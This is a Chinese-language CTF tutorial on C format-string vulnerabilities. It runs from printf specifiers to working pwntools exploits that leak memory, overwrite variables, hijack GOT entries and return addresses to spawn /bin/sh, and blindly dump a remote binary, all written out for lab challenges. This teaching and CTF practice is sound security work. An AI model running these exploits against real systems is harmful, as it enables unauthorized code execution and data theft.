格式化字符串函数:格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式
函数 | 基本介绍 |
---|---|
printf | 输出到 stdout |
fprintf | 输出到指定 FILE 流 |
vprintf | 根据参数列表格式化输出到 stdout |
vfprintf | 根据参数列表格式化输出到指定 FILE 流 |
sprintf | 输出到字符串 |
snprintf | 输出指定字节数到字符串 |
vsprintf | 根据参数列表格式化输出到字符串 |
vsnprintf | 根据参数列表格式化输出指定字节到字符串 |
setproctitle | 设置 argv |
syslog | 输出日志 |
err, verr, warn, vwarn 等 | 。。。 |
用 printf() 为例,它的第一个参数就是格式化字符串 :”Color %s,Number %d,Float %4.2f”
然后 printf 函数会根据这个格式化字符串来解析对应的其他参数
%d - 十进制 - 输出十进制整数 %s - 字符串 - 从内存中读取字符串 %x - 十六进制 - 输出十六进制数 %c - 字符 - 输出字符 %p - 指针 - 指针地址 %n - 到目前为止所写的字符数
漏洞原理利用
程序崩溃
这种攻击方法最简单,只需要输入一串 %s 就可以
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
对于每一个 %s,printf() 都会从栈上取一个数字,把该数字视为地址,然后打印出该地址指向的内存内容,由于不可能获取的每一个数字都是地址,所以数字对应的内容可能不存在,或者这个地址是被保护的,那么便会使程序崩溃
在 Linux 中,存取无效的指针会引起进程收到 SIGSEGV 信号,从而使程序非正常终止并产生核心转储
泄露内存
#include <stdio.h>
int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
scanf("%s", s);
printf("%08x.%08x.%08x.%s\n", a, b, c, s);
printf(s);
return 0;
}
编译一下:gcc -m32 -fno-stack-protector -no-pie -o fs1 1.c
在 printf 函数上面下个断点,然后 r 运行,输入 %08x.%08x.%08x
可以看一下此时的栈空间
可以来看一下栈上的地址
首先是红色的,这是 printf 的返回地址,然后是那一串绿色的,可以看到这后面是之前的一串 %08x.%08x.%08x.%s\n 这是 printf 函数的第一个参数:格式化字符串,printf 函数会根据这个字符串来解析后面的参数
第一个 %08x 解析的是 0x1,也就是源码里面的 a,第二个 %08x 解析的是 0x22222222,peda 显示的有些问题,但是通过 x/wx 0xffffce18 看出来的确实是之前源码里面的 b,第三个 %08x 解析的是 0xffffffff,也就是参数 c:-1,后面的 %s 会把我们输入的内容,也就是 %08x.%08x.%08x 给打印出来
我们执行 c 让程序继续运行,看一下结果
结果跟我们想的一样,同时程序断在了第二个 printf 这里,把我们之前输入的内容作为 格式化字符串,但是这一次没有给他提供其他的参数,但是他同样会在栈上找临近的三个参数,根据 格式化字符串 给打印出来,这样就把他后面三个栈上的值给输出出来了
但是上面的都是获取临近的内容进行输出,我们不可能只要这几个东西,可以通过 %n$x 来获取被视作第 n+1 个参数的值(格式化字符串是第一个参数)
那上个例子来说,如果使用 %3$x 就会打印出第四个参数对应的值
另外也可以通过 %s 来获取栈变量对应的字符串
小技巧总结
利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别 利用 %s 来获取变量所对应地址的内容,只不过有零截断 利用 %n$x 来获取指定参数的值,利用 %n$s 来获取指定参数对应地址的内容
泄露任意地址的内存
之前的方法还只是泄露栈上变量值,没法泄露变量的地址,但是如果我们知道格式化字符串在输出函数调用时是第几个参数,这里假设格式化字符串相对函数调用是第 k 个参数,那我们就可以通过如下方法来获取指定地址 addr 的内容 addr%k$x
下面就是确定格式化字符串是第几个参数了,一般可以通过 [tag]%p%p%p%p%p%p%p%p%p 来实现,如果输出的内容跟我们前面的 tag 重复了,那就说明我们找到了,但是不排除栈上有些其他变量也是这个值,所以可以用一些其他的字符进行再次尝试
比如之前那个例子,输入:AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
AAAA 对应后面到 0x41414141,也就是格式化字符串的第四个参数
当然这也可以用 AAAA%4$p 来达到同样的效果,通过这种方法,如果我们传入的是 一个函数的 GOT 地址,那么他就可以给我们打印出来函数在内存中的真实地址
使用 objdump -R fs1 查看一下 got 表
通过这段代码,可以把 scanf 的地址给打印出来,%s 是把地址指向的内存内容给打印出来
from pwn import *
sh = process('./fs1')
elf = ELF('./fs1')
__isoc99_scanf_got = elf.got['__isoc99_scanf']
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s'
print payload
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8]))
sh.interactive()
需要注意的是不能直接在命令行输入 \x14\xa0\x0%4$s 否则 scanf 会把它识别成:\,x,1,4….
覆盖栈内存
%n,不输出字符,但是把已经成功输入的字符个数写入对应的整型指针参数所指的变量
只要变量对应的地址可写,就可以利用格式化字符串来改变其对应的值
一般来说,利用分为以下的步骤:
- 确定覆盖地址
- 确定相对偏移
- 进行覆盖
#include <stdio.h>
int a = 123, b = 456;
int main() {
int c = 789;
char s[100];
printf("%p\n", &c);
scanf("%s", s);
printf(s);
if (c == 16) {
puts("modified c.");
} else if (a == 2) {
puts("modified a for a small number.");
} else if (b == 0x12345678) {
puts("modified b for a big number!");
}
return 0;
}
关于覆盖偏移的话可以通过测试得出来:AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
可以看到,是格式化字符串的第 6 个参数
那下面,通过 %n 来进行覆盖,c_addr+%012d+%6$n
c_addr 再加上 12 之后才能凑够 16,这样就可以把 c 改成 16
from pwn import *
sh = process('./overwrite')
c_addr = int(sh.recvuntil('\n', drop=True), 16)
print hex(c_addr)
payload = p32(c_addr) + 'a'*12 + '%6$n'
print payload
sh.sendline(payload)
print sh.recv()
sh.interactive()
覆盖任意地址内存
覆盖小数字
如果想要将一个地方改为一个较小的数字,只需要 %n 是 数字 就可以了,如果想改成 2,可以用 aa%k$n,但是有个问题,之前我们是把地址放在前面,加上地址(4或8字节)之后就成了一个至少比 4 大的数
aa%k$nxx,如果用这样的方式,前面 aa%k 是第六个参数,$nxx 是第七个参数,后面在跟一个 我们想要修改的地址,那么这个地址就是第八个参数,只需要把 k 改成 8 就可以把这第八个参数改成 2,aa%8$nxx
from pwn import *
sh = process('./overwrite')
a_addr = 0x0804A024
payload = 'aa%8$naa' + p32(a_addr)
sh.sendline(payload)
print sh.recv()
sh.interactive()
这里掌握的小技巧:没有必要把地址放在最前面,只需要找到它对应的偏移就可以
覆盖大数字
变量在内存中都是以字节的格式存储的,在 x86、x64 中是按照小端存储的,格式化字符串里面有两个标志用的上了:
h:对于整数类型,printf 期待一个从 short 提升的 int 尺寸的整型参数 hh:对于整型类型,printf 期待一个从 char 提升的 int 尺寸的整形参数
这…👆是给人看的嘛??
意思是说:hhn 写入的就是单字节,hn 写入的就是双字节
from pwn import *
sh = process('./overwrite')
b_addr=0x0804A028
payload = p32(b_addr)+p32(b_addr+1)+p32(b_addr+2)+p32(b_addr+3)
payload += '%104x'+'%6$hhn'+'%222x'+'%7$hhn'+'%222x'+'%8$hhn'+'%222x'+'%9$hhn'
sh.sendline(payload)
#sh.sendline(fmtstr_payload(6, {0x804A028:0x12345678}))
#pwntools带着一个函数,很方便
print sh.recv()
sh.interactive()
前面的那一串 p32(),每算是 4 字符,这样到 %6$hhn 前面就是:16+104=120,也就是 0x78
再加上 222 就是 342,也就是 0x156,然后依次是:0x234、0x312,又因为 hh 是写入单字节的,又是小端存储,也就是只能取后边两个,所以连起来就是 0x12345678
小端存储
x64例题
UIUCTF pwn200 GoodLuck
存在格式化字符串漏洞
用 gdb 调试一下,b printf 下个断点,然后运行之后输入一些内容看一下,可以看到 flag 在栈上从我们输入的开始第三个参数的位置
但是因为 x64 前 6 个参数存在寄存器上面,而第一个参数又是格式化字符串,所以这实际上就是第 5+4=9 个参数,所以 payload 就写 %9$s
from pwn import *
sh = process('./pwn')
payload = "%9$s"
#gdb.attach(sh)
sh.sendline(payload)
sh.interactive()
hijack GOT
在 C 语言中,没有开启 RELRO 保护的时候,GOT 表项可以被修改,当我们修改某个 GOT 表项的时候,比如把 printf 的 GOT 表项修改成 system 的地址,那执行 printf 的时候实际上是执行 system 的函数
2016 CCTF pwn3
有一个类似 ftp 的功能,需要输入用户名
需要注意的是,后面那个 for 循环对输入的内容进行了变形操作,每个字符都加了个 1
当输入的 s1 经过变形后不是 sysbdmin 的时候退出
所以实际需要的是:rxraclhm(往前移一个)
登陆成功之后,有三个功能
其中 get_file() 中存在格式化字符串漏洞
先说一下大体的利用方式:先通过格式化字符串漏洞把 libc 泄露出来,再通过 libc 计算得到 system 的地址,把 system 的地址写道 puts 的 GOT 表项上,当执行程序 dir 功能的时候,因为有个 puts 函数,如果我们输入的参数是 ‘/bin/sh’ 实际上就会执行 system(‘/bin/sh’)
在 get 功能(get_file)的 printf 处下个断点:b *0x0804889E
然后正常运行,会断下来
这时候看一下结果那个(nil)对应的是 0x0
数一下是在第几个位置,7,所以下面用 %8$s + puts_got 把后面第八个参数 puts_got 给读出来
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./pwn3')
pwn3 = ELF('./pwn3')
#首先要登陆,用户名是:rxraclhm
sh.recvuntil('Name (ftp.hacker.server:Rainism):')
sh.sendline('rxraclhm')
#使用put(put_file),先写进去
puts_got = pwn3.got['puts']
sh.sendline('put')
sh.recvuntil('please enter the name of the file you want to upload:')
sh.sendline('1111')
sh.recvuntil('then, enter the content:')
content='%8$s' + p32(puts_got)
sh.sendline(content)
#通过get(get_file)执行格式化字符串漏洞,读出put函数的地址
sh.sendline('get')
sh.recvuntil('enter the file name you want to get:')
sh.sendline('1111')
puts_addr = u32(sh.recv()[:4])
#计算libc,从而算出system的地址
libc=LibcSearcher("puts", puts_addr)
libc_base=puts_addr-libc.dump('puts')
sys_addr=libc_base+libc.dump('system')
#把第七个参数的puts_got改成system的地址
payload = fmtstr_payload(7, {puts_got: sys_addr})
sh.sendline('put')
sh.recvuntil('please enter the name of the file you want to upload:')
#在运行show_dir时将puts(“/bin/sh;”)变成system("/bin/sh;"),并成功获取shell
sh.sendline('/bin/sh;')
sh.recvuntil('then, enter the content:')
sh.sendline(payload)
#通过get(get_file)执行格式化字符串漏洞
sh.recvuntil('ftp>')
sh.sendline('get')
sh.recvuntil('enter the file name you want to get:')
sh.sendline('/bin/sh;')
#通过dir(show_dir)来拿到shell
sh.sendline('dir')
sh.interactive()
hijack retaddr
利用格式化字符串劫持返回地址
三个白帽 - pwnme_k0
注册以后登陆成功,有个菜单,一个更改的,一个输出的,可以通过更改的构造,然后输出的有格式化字符串漏洞
通过 IDA 的 shift+f12 可以搜到一个 /bin/sh 字符串,然后双击跟过去找到一个 system(‘/bin/sh’) 函数
只要能控制程序返回到这里就可以了 0x4008A6
在存在格式化字符串漏洞的 printf 的地址下个断点 b *0x400B39,然后运行起来,用户名写:AAAA,密码写 %p%p%p%p%p%p,使用 1 查看一下
可以发现,第七个参数是这个函数(不是 printf)的返回地址(再啰嗦一句,这是 64 位的程序,前六个参数在寄存器里面,同时第一个参数是格式化字符串,这里的第六个参数说的是格式化字符串的参数)
我们想要改写第七个参数,需要有一个存储它的地址,也就是这次实验的 0x7fffffffdc08,但是这个地址是会变的,然而可以通过 rbp 与 ret 的偏移来计算,也就是:0x7fffffffdc40 - 0x7fffffffdc08 =0x38
我们可以把读出来的第六个参数加上 0x38 给改掉,可以在 password 后面跟上 ret 地址来修改,也可以通过把 username 改成计算出来的 ret 的地址
exp
**
from pwn import *
elf=ELF('./pwnme')
p=process('./pwnme')
gdb.attach(p,'b *0x400B39')
p.recvuntil('Input your username(max lenth:20):')
p.sendline('a'*8)
p.recvuntil('Input your password(max lenth:20):')
p.sendline('%6$p')
p.recvuntil('>')
p.sendline('1')
data=p.recvuntil('>')
data=data.split('\n')[1]
ret_addr=int(data,16)-0x38
p.sendline('2')
p.recvuntil('please input new username(max lenth:20):')
p.sendline('b'*8)
p.recvuntil('please input new password(max lenth:20):')
payload = "%2214u%12$hn"
payload += p64(ret_addr)
p.send(payload)
p.recvuntil('>')
p.sendline('1')
p.interactive()
通过 username 来保存 ret_addr
from pwn import *
sh=process("./pwnme")
binary=ELF("pwnme")
gdb.attach(sh,'b *0x400b39')
sh.recv()
sh.sendline("1111")
sh.recv()
sh.sendline("%6$p")
sh.recv()
sh.sendline("1")
sh.recvuntil("0x")
recv=sh.recvline()
print "ebp addr"+str(recv)
ret_addr = int(recv,16) - 0x38
print "ret addr"+str(ret_addr)
sh.recv()
sh.sendline("2")
sh.recv()
sh.sendline(p64(ret_addr))
sh.recv()
sh.sendline("%2218d%8$hn")
sh.recv()
sh.sendline("1")
sh.recv()
sh.interactive()
格式化字符串盲打
fmt_blind_stack
直接在栈上,不断地去读数据就能得到 flag
from pwn import *
context.log_level = 'error'
def leak(payload):
sh = remote('127.0.0.1', 8887)
sh.sendline(payload)
data = sh.recvuntil('\n', drop=True)
if data.startswith('0x'):
print p64(int(data, 16))
sh.close()
i = 1
while 1:
payload = '%{}$p'.format(i)
leak(payload)
i += 1
blind_fmt_got
首先,通过脚本泄露二进制文件
##coding=utf8
from pwn import *
##context.log_level = 'debug'
ip = "127.0.0.1"
port = 8887
def leak(addr):
#leak addr for three times
num = 0
while num < 3:
try:
print 'leak addr: ' + hex(addr)
sh = remote(ip, port)
#%00008$s凑够8个对齐
payload = '%00008$s' + 'STARTEND' + p64(addr)
#说明有\n,出现新的一行
if '\x0a' in payload:
return None
sh.sendline(payload)#一直接收到STARTEND这个地方
data = sh.recvuntil('STARTEND', drop=True)
sh.close()
return data
except Exception:
num += 1
continue
return None
def getbinary():
addr = 0x400000
f = open('binary', 'w')
while addr < 0x401000:
data = leak(addr)
if data is None:
f.write('\xff')
addr += 1
elif len(data) == 0:
f.write('\x00')
addr += 1
else:
f.write(data)
addr += len(data)
f.close()
getbinary()
用 IDA 打开,注意选择二进制模式的
然后在 0x4005F6 这块地方就是 main 函数的位置,我 IDA 不一样,看不出来